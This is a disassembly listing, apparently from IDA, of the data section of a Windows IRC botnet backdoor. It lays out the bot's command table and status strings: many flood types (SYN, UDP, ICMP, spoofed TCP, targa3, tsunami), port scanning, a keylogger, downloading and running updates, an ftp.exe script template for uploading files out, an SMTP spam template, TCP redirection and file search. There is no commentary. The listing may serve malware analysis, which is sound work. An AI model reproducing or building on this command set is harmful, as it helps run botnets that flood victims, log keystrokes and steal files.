aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
